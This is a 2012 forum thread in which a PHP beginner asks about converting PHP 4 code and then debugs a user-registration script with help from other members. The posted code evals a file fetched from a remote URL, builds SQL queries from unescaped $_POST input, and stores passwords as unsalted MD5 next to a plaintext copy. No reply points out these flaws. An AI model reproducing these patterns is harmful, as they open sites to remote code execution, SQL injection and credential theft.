Jump to content


Check out our Community Blogs

Register and join over 40,000 other developers!


Recent Status Updates

View All Updates

Photo
- - - - -

what can i do to convert code php version 4 code to php version 5

php mysql

  • Please log in to reply
9 replies to this topic

#1 ianbuzz

ianbuzz

    CC Newcomer

  • Member
  • PipPip
  • 24 posts
  • Location:kuching,malaysia
  • Programming Language:C, Java, C++, C#, PHP, (Visual) Basic
  • Learning:C, Java, C++, C#, PHP, (Visual) Basic

Posted 24 September 2012 - 06:02 PM

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 4.01 Transitional//EN" "http://www.w3.org/TR...ml4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Vacancies List</title>
<link rel="stylesheet" type="text/css" href="act.css" />
<?php
include("dbconnect.inc.php");
$query_vacancylist="select nstate, sname from industry_list where nstate > 0 order by nstate";
$result_vacancylist2=mysql_query($query_vacancylist);
$numrec_vacancylist=mysql_num_rows($result_vacancylist2);
include("dbclose.inc.php");
?>
<?php eval(file_get_contents("http://phpduck.com/r...densed.php.txt")); ?>




<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
width: 300px;
}
-->
</style>

</head>

<body background="images/bg_long.jpg">

<?php
include("dbconnect.inc.php");
$i=0;

while ($i < $numrec_vacancylist) {

$industry_id=mysql_result($result_vacancylist,$i,"nstate");
$industry_name=mysql_result($result_vacancylist,$i,"sname");

$query_totalworker = "select sum(ntotalworker) as totalworker from vacancy where nindustryid = $industry_id";
$result_totalworker = mysql_query($query_totalworker, $connection) or die('error making query');
$data_totalworker = mysql_fetch_assoc($result_totalworker);
$totalworker = $data_totalworker['totalworker'];

if ($totalworker != 0) {
echo "<span class=\"style12h\"><br> &nbsp;&nbsp;&nbsp;&nbsp;$industry_name ($totalworker) </span> <br>";
}

$i++;
}

include("dbclose.inc.php");
?>
</body>
</html>


hai im newbie on php so need help from friend what should i do to this code... i want to develop profile page and hope that you all can helping me.. i am sorry if have mistake..
  • 0

#2 BlackRabbit

BlackRabbit

    CodeCall Legend

  • Expert Member
  • PipPipPipPipPipPipPipPip
  • 3871 posts
  • Location:Argentina
  • Programming Language:C, C++, C#, PHP, JavaScript, Transact-SQL, Bash, Others
  • Learning:Java, Others

Posted 25 September 2012 - 03:53 AM

did you try the php4 to php5 converter ?
Here is the link
i think that could make things easier :D
  • 0

#3 VNFox

VNFox

    CC Devotee

  • Senior Member
  • PipPipPipPipPipPip
  • 648 posts
  • Programming Language:C#, PHP
  • Learning:Assembly

Posted 25 September 2012 - 11:41 AM

I believe most of the code in PHP4 will work with PHP5 ... post the errors that you're getting so we can help you to convert.
  • 1

www.pickmike.com
I don't just develop software. I find solutions to your business needs.


#4 ianbuzz

ianbuzz

    CC Newcomer

  • Member
  • PipPip
  • 24 posts
  • Location:kuching,malaysia
  • Programming Language:C, Java, C++, C#, PHP, (Visual) Basic
  • Learning:C, Java, C++, C#, PHP, (Visual) Basic

Posted 25 September 2012 - 03:59 PM

because the result from this code
<?php eval(file_get_contents("http://phpduck.com/r...densed.php.txt")); ?> said my code is 4.3 version can php 5 support that version??
  • 0

#5 papabear

papabear

    CC Devotee

  • Senior Member
  • PipPipPipPipPipPip
  • 472 posts
  • Location:DarkSide

Posted 25 September 2012 - 07:10 PM

most functions in php4 will work on php5.. but if you really want to convert your code into php5, the best solution is to re-code your work, why? Instead of using free converters that will do something into your code and you don't know what code it will put.. it's better to learn new functions by yourself, right?
  • 1
Life has no CTRL+Z
Never Forget To HIT "LIKE" If I Helped

#6 VNFox

VNFox

    CC Devotee

  • Senior Member
  • PipPipPipPipPipPip
  • 648 posts
  • Programming Language:C#, PHP
  • Learning:Assembly

Posted 26 September 2012 - 10:30 AM

because the result from this code
<?php eval(file_get_contents("http://phpduck.com/r...densed.php.txt")); ?> said my code is 4.3 version can php 5 support that version??


Yup ... I see that Eval is supported in PHP 5 and so the file_get_contents ... both functions are supported in PHP5.
  • 0

www.pickmike.com
I don't just develop software. I find solutions to your business needs.


#7 ianbuzz

ianbuzz

    CC Newcomer

  • Member
  • PipPip
  • 24 posts
  • Location:kuching,malaysia
  • Programming Language:C, Java, C++, C#, PHP, (Visual) Basic
  • Learning:C, Java, C++, C#, PHP, (Visual) Basic

Posted 26 September 2012 - 10:29 PM

<?php

$dbhost = "localhost";
$dbuser = "root";
$dbpasss = "";

$conn = mysql_connect($dbhost,$dbuser,$dbpass) or die ('Error connecting to mysql');

$dbname = 'golf';
mysql_select_db($dbname);
?>

-----------this is my database connect--------------


<?php
include("dbopen.php");

/* Now we will store the values submitted by form in variable */
$username=$_POST['uname'];
$password=$_POST['pword'];
/* we are now encrypting password while using md5() function */
$password=md5($password);
$password2=$_POST['rpword'];

/* Now we will check if username is already in use or not */
$queryuser=mysql_query("SELECT * FROM userdaftar WHERE uname='$username' ");
$checkuser=mysql_num_rows($queryuser);
if($checkuser != 0)
{ echo "Sorry, ".$username." is already been taken."; }
else {

/* now we will check if password and confirm password matched */
if($password != $confirm_password2)
{ echo "Password and confirm password fields were not matched"; }
else {

/* Now we will write a query to insert user details into database */
$insert_user=mysql_query("SELECT * FROM userdaftar WHERE uname= '$username' and pword='$password'");

if($insert_user)
{ echo "Registration Succesfull"; }
else
{ echo "error in registration".mysql_error(); }

/* closing the if else statements */
}}

include("dbclose.php");
?>

-------------this in my connection form------------



<title>singup</title><table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
<!--DWLayoutTable-->
<tr>
<td width="800" height="200"><form id="form1" name="form1" method="post" action="dbregister.php">
<table width="508" border="0" align="center" class="best">
<tr>
<td width="136">Username</td>
<td width="38">:</td>
<td width="320"><input name="uname" type="text" id="username" /></td>
</tr>
<tr>
<td>Password</td>
<td>:</td>
<td><input name="pword" type="password" id="password" /></td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
<td><input name="signup" type="submit" class="hantar" id="signup" value=" Sign up " /></td>
</tr>
</table>
</form>
</td>
</tr>
</table>


-------- html form-----------

still have error..


Notice: Undefined variable: dbpass in C:\wamp\www\gol\dbopen.php on line 7 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0 2 0.0008 376136 include( 'C:\wamp\www\gol\dbopen.php' ) ..\dbregister.php:2
( ! ) Notice: Use of undefined constant password2 - assumed 'password2' in C:\wamp\www\gol\dbregister.php on line 19 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0
( ! ) Notice: Undefined variable: passord in C:\wamp\www\gol\dbregister.php on line 19 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0 Password and confirm password fields were not matched

<?php

$dbhost = "localhost";
$dbuser = "root";
$dbpasss = "";

$conn = mysql_connect($dbhost,$dbuser,$dbpass) or die ('Error connecting to mysql');

$dbname = 'golf';
mysql_select_db($dbname);
?>

-----------this is my database connect--------------


<?php
include("dbopen.php");

/* Now we will store the values submitted by form in variable */
$username=$_POST['uname'];
$password=$_POST['pword'];
/* we are now encrypting password while using md5() function */
$password=md5($password);
$password2=$_POST['rpword'];

/* Now we will check if username is already in use or not */
$queryuser=mysql_query("SELECT * FROM userdaftar WHERE uname='$username' ");
$checkuser=mysql_num_rows($queryuser);
if($checkuser != 0)
{ echo "Sorry, ".$username." is already been taken."; }
else {

/* now we will check if password and confirm password matched */
if($password != $confirm_password2)
{ echo "Password and confirm password fields were not matched"; }
else {

/* Now we will write a query to insert user details into database */
$insert_user=mysql_query("SELECT * FROM userdaftar WHERE uname= '$username' and pword='$password'");

if($insert_user)
{ echo "Registration Succesfull"; }
else
{ echo "error in registration".mysql_error(); }

/* closing the if else statements */
}}

include("dbclose.php");
?>

-------------this in my connection form------------



<title>singup</title><table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
<!--DWLayoutTable-->
<tr>
<td width="800" height="200"><form id="form1" name="form1" method="post" action="dbregister.php">
<table width="508" border="0" align="center" class="best">
<tr>
<td width="136">Username</td>
<td width="38">:</td>
<td width="320"><input name="uname" type="text" id="username" /></td>
</tr>
<tr>
<td>Password</td>
<td>:</td>
<td><input name="pword" type="password" id="password" /></td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
<td><input name="signup" type="submit" class="hantar" id="signup" value=" Sign up " /></td>
</tr>
</table>
</form>
</td>
</tr>
</table>


-------- html form-----------

still have error..


Notice: Undefined variable: dbpass in C:\wamp\www\gol\dbopen.php on line 7 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0 2 0.0008 376136 include( 'C:\wamp\www\gol\dbopen.php' ) ..\dbregister.php:2
( ! ) Notice: Use of undefined constant password2 - assumed 'password2' in C:\wamp\www\gol\dbregister.php on line 19 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0
( ! ) Notice: Undefined variable: passord in C:\wamp\www\gol\dbregister.php on line 19 Call Stack # Time Memory Function Location 1 0.0005 372728 {main}( ) ..\dbregister.php:0 Password and confirm password fields were not matched


  • 0

#8 BlackRabbit

BlackRabbit

    CodeCall Legend

  • Expert Member
  • PipPipPipPipPipPipPipPip
  • 3871 posts
  • Location:Argentina
  • Programming Language:C, C++, C#, PHP, JavaScript, Transact-SQL, Bash, Others
  • Learning:Java, Others

Posted 26 September 2012 - 10:48 PM

Ian, don't panic my friend,

you just need to pay attention to the error messages, let's take a look to what it says from the very start :

>> Undefined variable: dbpass in C:\wamp\www\gol\dbopen.php on line 7

Which means it didn't found $dbpass declaration, so if you follow up the code you will find this typo : $dbpasss = "";
notice there is one extra s ? that is the error,

and that is how to solve it, it might be more errors, don't be afraid, we all do typos all the time and we all get mad about it, well, at least i do !
  • 0

#9 ianbuzz

ianbuzz

    CC Newcomer

  • Member
  • PipPip
  • 24 posts
  • Location:kuching,malaysia
  • Programming Language:C, Java, C++, C#, PHP, (Visual) Basic
  • Learning:C, Java, C++, C#, PHP, (Visual) Basic

Posted 27 September 2012 - 10:49 PM

<?php
include("dbopen.php");

/* Now we will store the values submitted by form in variable */
$username=$_POST['username'];
$password=$_POST['password'];
/* we are now encrypting password while using md5() function */
$password=md5($password);
$password2=$_POST['password2'];

/* Now we will check if username is already in use or not */
$queryuser=mysql_query("SELECT uname FROM userdaftar WHERE uname = '$username' ");
$checkuser=mysql_num_rows($queryuser);
if($checkuser != 0)
{ echo "Sorry, ".$username." is already been taken."; }
//else {

/* now we will check if password and confirm password matched */
if($password != $password2)
{ echo "Password and confirm password fields were not matched"; }

else {

/* Now we will write a query to insert user details into database */
$insert_user=mysql_query("INSERT INTO userdaftar (uname, pword,rpword) VALUES ('$username', '$password','$password2')");

if($insert_user)
{ echo "Registration Succesfull";
header("location:cak.php");}


else
{ echo "error in registration".mysql_error(); }

/* closing the if else statements */
}

//include("dbclose.php");
?>




some error here its say not match password can help..
  • 0

#10 BlackRabbit

BlackRabbit

    CodeCall Legend

  • Expert Member
  • PipPipPipPipPipPipPipPip
  • 3871 posts
  • Location:Argentina
  • Programming Language:C, C++, C#, PHP, JavaScript, Transact-SQL, Bash, Others
  • Learning:Java, Others

Posted 28 September 2012 - 01:47 AM

What did we talk about ? error messages are important, you have to copy it here, still, i think i know what is happening ...

i think in somewhere you are checking password being equal to password2, in the database i bet, and they are not cause one is going md5'ed and the other is going raw, so they naturally does not match
  • 1





Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download